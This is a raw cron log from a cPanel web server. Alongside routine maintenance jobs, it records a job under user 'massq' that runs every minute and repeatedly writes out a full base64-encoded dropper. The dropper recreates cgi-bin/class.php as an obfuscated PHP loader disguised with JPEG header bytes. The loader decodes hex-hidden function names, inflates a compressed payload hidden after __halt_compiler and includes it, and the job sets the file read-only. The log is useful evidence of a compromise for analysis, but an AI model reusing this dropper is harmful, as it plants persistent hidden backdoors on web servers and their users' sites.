Aug 30 16:53:01 server CROND[8030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:54:01 server CROND[8413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:54:01 server CROND[8414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:54:01 server CROND[8415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:55:01 server CROND[8798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:55:01 server CROND[8800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:55:01 server CROND[8802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:55:01 server CROND[8803]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:55:01 server CROND[8801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:55:01 server CROND[8805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:55:01 server CROND[8804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:56:01 server CROND[9622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:56:01 server CROND[9623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:56:01 server CROND[9624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:57:01 server CROND[10109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:57:01 server CROND[10110]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:57:01 server CROND[10112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:57:01 server CROND[10111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:58:01 server CROND[10510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:58:01 server CROND[10511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:58:01 server CROND[10512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:59:01 server CROND[10880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:59:01 server CROND[10881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:59:01 server CROND[10882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:00:01 server CROND[11268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:00:01 server CROND[11267]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:00:01 server CROND[11271]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 17:00:01 server CROND[11274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:00:01 server CROND[11276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:00:01 server CROND[11272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:00:01 server CROND[11279]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:00:01 server CROND[11277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:00:01 server CROND[11273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:01:01 server CROND[12101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:01:01 server CROND[12103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:01:01 server CROND[12102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:01:01 server CROND[12105]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 17:01:01 server run-parts(/etc/cron.hourly)[12105]: starting 0anacron
Aug 30 17:01:01 server run-parts(/etc/cron.hourly)[12124]: finished 0anacron
Aug 30 17:02:01 server CROND[12598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:02:01 server CROND[12599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:02:01 server CROND[12600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:03:01 server CROND[12977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:03:01 server CROND[12978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:03:01 server CROND[12979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:04:01 server CROND[13347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:04:01 server CROND[13348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:04:01 server CROND[13349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:05:01 server CROND[13839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:05:01 server CROND[13841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:05:01 server CROND[13838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
